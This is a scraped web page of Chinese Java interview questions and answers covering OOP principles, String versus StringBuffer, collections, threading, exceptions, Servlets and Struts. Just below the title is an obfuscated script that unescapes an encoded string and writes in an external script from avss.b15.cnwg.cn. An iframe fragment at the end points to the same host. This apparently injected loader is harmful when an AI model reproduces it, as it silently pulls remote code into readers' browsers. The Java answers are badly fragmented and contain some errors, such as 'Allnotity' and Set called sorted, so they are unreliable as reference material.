HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
java经典笔试题
1.
抽象:
抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用部分细节。抽象包括两个方面,一是过程抽象,二是数据抽象。
2.
继承:
继承是一种联结类的层次模型,并且允许和鼓励类的重用,它提供了一种明确表述共性的方法。对象的一个新类可以从现有的类中派生,这个过程称为类继承。新类继
承了原始类的特性,新类称为原始类的派生类(子类),而原始类称为新类的基类(父类)。派生类可以从它的基类那里继承方法和实例变量,并且类可以修改或增
加新的方法使之更适合特殊的需要。
3.
封装:
封装是把过程和数据包围起来,对数据的访问只能通过已定义的界面。面向对象计算始于这个基本概念,即现实世界可以被描绘成一系列完全自治、封装的对象,这些对象通过一个受保护的接口访问其他对象。
4.
多态性:
多态性是指允许不同类的对象对同一消息作出响应。多态性包括参数化多态性和包含多态性。多态性语言具有灵活、抽象、行为共享、代码共享的优势,很好的解决了应用程序函数同名问题。
5
、
String
和
StringBuffer
的区别
JAVA
平台提供了两个类:
String
和
StringBuffer
,它们可以储存和操作字符串,即包含多个字符的字符数据。这个
String
类提供了数值不可改变的字符串。而这个
StringBuffer
类提供的字符串进行修改。当你知道字符数据要改变的时候你就可以使用
StringBuffer
。典型地,你可以使用
StringBuffers
来动态构造字符数据。
6
、运行时异常与一般异常有何异同?
异常表示程序运行过程中可能出现的非正常状态,运行时异常表示虚拟机的通常操作中可能遇到的异常,是一种常见运行错误。
java
编译器要求方法必须声明抛出可能发生的非运行时异常,但是并不要求必须声明抛出未被捕获的运行时异常。
7
、说出
Servlet
的生命周期,并说出
Servlet
和
CGI
的区别。
Servlet
被服务器实例化后,容器运行其
init
方法,请求到达时运行其
service
方法,
service
方法自动派遣运行与请求对应的
doXXX
方法(
doGet
,
doPost
)等,当服务器决定将实例销毁的时候调用其
destroy
方法。
与
cgi
的区别在于
servlet
处于服务器进程中,它通过多线程方式运行其
service
方法,一个实例可以服务于多个请求,并且其实例一般不会销毁,而
CGI
对每个请求都产生新的进程,服务完成后就销毁,所以效率上低于
servlet
。
8
、说出
ArrayList,Vector, LinkedList
的存储性能和特性
ArrayList
和
Vector
都是使用数组方式存储数据,此数组元素数大于实际存储的数据以便增加和插入元素,它们都允许直接按序号索引元素,但是插入元素要涉及数组元素
移动等内存操作,所以索引数据快而插入数据慢,
Vector
由于使用了
synchronized
方法(线程安全),通常性能上较
ArrayList
差,而
LinkedList
使用双向链表实现存储,按序号索引数据需要进行前向或后向遍历,但是插入数据时只需要记录本项的前后项即可,所以插入速度较快。
10
、
&
和
&&
的区别。
&
是位运算符,表示按位与运算,
&&
是逻辑运算符,表示逻辑与(
and
)。
11
、
HashMap
和
Hashtable
的区别。
HashMap
是
Hashtable
的轻量级实现(非线程安全的实现),他们都完成了
Map
接口,主要区别在于
HashMap
允许空(
null
)键值(
key
)
,
由于非线程安全,效率上可能高于
Hashtable
。
HashMap
允许将
null
作为一个
entry
的
key
或者
value
,而
Hashtable
不允许。
HashMap
把
Hashtable
的
contains
方法去掉了,改成
containsvalue
和
containsKey
。因为
contains
方法容易让人引起误解。
Hashtable
继承自
Dictionary
类,而
HashMap
是
Java1.2
引进的
Map interface
的一个实现。
最大的不同是,
Hashtable
的方法是
Synchronize
的,而
HashMap
不是,在多个线程访问
Hashtable
时,不需要自己为它的方法实现同步,而
HashMap
就必须为之提供外同步。
Hashtable
和
HashMap
采用的
hash/rehash
算法都大概一样,所以性能不会有很大的差异。
12
、
final, finally, finalize
的区别。
final
用于声明属性,方法和类,分别表示属性不可变,方法不可覆盖,类不可继承。
finally
是异常处理语句结构的一部分,表示总是执行。
finalize
是
Object
类的一个方法,在垃圾收集器执行的时候会调用被回收对象的此方法,可以覆盖此方法提供垃圾收集时的其他资源回收,例如关闭文件等。
13
、
sleep()
和
wait()
有什么区别
?
sleep
是线程类(
Thread
)的方法,导致此线程暂停执行指定时间,给执行机会给其他线程,但是监控状态依然保持,到时后会自动恢复。调用
sleep
不会释放对象锁。
wait
是
Object
类的方法,对此对象调用
wait
方法导致本线程放弃对象锁,进入等待此对象的等待锁定池,只有针对此对象发出
notify
方法(或
notifyAll
)后本线程才进入对象锁定池准备获得对象锁进入运行状态。
14
、
Overload
和
Override
的区别。
Overloaded
的方法是否可以改变返回值的类型
?
方法的重写
Override
和重载
Overload
是
Java
多态性的不同表现。重写
Overrid
是父类与子类之间多态性的一种表现,重载
Overload
是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数,我们说该方法被重写
(Overrid)
。子类的对象使用这个方法时,将调用子类中的定义,对它而言,父类中的定义如同被
"
屏蔽
"
了。如果在一个类中定义了多个同名的方
法,它们或有不同的参数个数或有不同的参数类型,则称为方法的重载
(Overloading)
。
Overload
的方法是可以改变返回值的类型。
15
、
error
和
exception
有什么区别
?
error
表示恢复不是不可能但很困难的情况下的一种严重问题。比如说内存溢出。不可能指望程序能处理这样的情况。
exception
表示一种设计或实现问题。也就是说,它表示如果程序运行正常,从不会发生的情况。
16
、同步和异步有何异同,在什么情况下分别使用他们?举例说明。
如果数据将在线程间共享。例如正在写的数据以后可能被另一个线程读到,或者正在读的数据可能已经被另一个线程写过了,那么这些数据就是共享数据,必须进行同步存取。
当应用程序在对象上调用了一个需要花费很长时间来执行的方法,并且不希望让程序等待方法的返回时,就应该使用异步编程,在很多情况下采用异步途径往往更有效率。
17
、
try { }
里有一个
return
语句,那么紧跟在这个
try
后的
finally { }
里的
code
会不会被执行,什么时候被执行,在
return
前还是后
?
会执行,在
return
前执行。
18
、
Java
中的异常处理机制的简单原理和应用。
当
JAVA
程序违反了
JAVA
的语义规则时,
JAVA
虚拟机就会将发生的错误表示为一个异常。违反语义规则包括
2
种情
况。一种是
JAVA
类库内置的语义检查。例如数组下标越界
,
会引发
IndexOutOfBoundsException;
访问
null
的对象时会引发
NullPointerException
。另一种情况就是
JAVA
允许程序员扩展这种语义检查,程序员可以创建自己的异常,并自由选择在何时用
throw
关键字引发异常。所有的异常都是
java.lang.Thowable
的子类。
19
、垃圾回收的优点和原理。并考虑
2
种回收机制。
Java
语言中一个显著的特点就是引入了垃圾回收机制,使
C++
程序员最头疼的内存管理的问题迎刃而解,它使得
Java
程序员在编写程序的时候不再需要考虑内存管理。由于有个垃圾回收机制,
Java
中的对象不再有
"
作用域
"
的概念,只有对象的引用才有
"
作用域
"
。垃圾回收可以有效的防止内存泄露,有效的使用可以使用的内存。垃圾回收器通常是作为一个单独的低级别的
线程运行,不可预知的情况下对内存堆中已经死亡的或者长时间没有使用的对象进行清楚和回收,程序员不能实时的调用垃圾回收器对某个对象或所有对象进行垃圾
回收。回收机制有分代复制垃圾回收和标记垃圾回收,增量垃圾回收。
20
、请说出你所知道的线程同步的方法。
wait():
使一个线程处于等待状态,并且释放所持有的对象的
lock
。
sleep():
使一个正在运行的线程处于睡眠状态,是一个静态方法,调用此方法要捕捉
InterruptedException
异常。
notify():
唤醒一个处于等待状态的线程,注意的是在调用此方法的时候,并不能确切的唤醒某一个等待状态的线程,而是由
JVM
确定唤醒哪个线程,而且不是按优先级。
Allnotity():
唤醒所有处入等待状态的线程,注意并不是给所有唤醒线程一个对象的锁,而是让它们竞争。
21
、描述一下
JVM
加载
class
文件的原理机制
JVM
中类的装载是由
ClassLoader
和它的子类来实现的
,Java ClassLoader
是一个重要的
Java
运行时系统组件。它负责在运行时查找和装入类文件的类。
22
、
MVC
的各个部分都有那些技术来实现
?
如何实现
?
MVC
是
Model
-
View
-
Controller
的简写。
"Model"
代表的是应用的业务逻辑(通过
JavaBean
,
EJB
组件实现),
"View"
是应用的表示面(由
JSP
页面产生),
"Controller"
是提供应用的处理过程控制(一般是一个
Servlet
),通过这种设计模型把应用逻辑,处理过程和显示逻辑分成不同的组件实现。这些组件可以进行交互和重用。
23
、
List
、
Map
、
Set
三个接口,存取元素时,各有什么特点?
List
以特定次序来持有元素,可有重复元素。
Set
无法拥有重复元素
,
内部排序。
Map
保存
key-value
值
.
119
、
STRUTS
的应用
(
如
STRUTS
架构
)
Struts
是采用
Java Servlet/JavaServer Pages
技术,开发
Web
应用程序的开放源码的
framework
。
采用
Struts
能开发出基于
MVC(Model-View-Controller)
设计模式的应用构架。
Struts
有如下的主要功能:
一
.
包含一个
controller servlet
,能将用户的请求发送到相应的
Action
对象。
二
.JSP
自由
tag
库,并且在
controller servlet
中提供关联支持,帮助开发员创建交互式表单应用。
三
.
提供了一系列实用对象:
XML
处理、通过
Java reflection APIs
自动处理
JavaBeans
属性、国际化的提示和消息。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">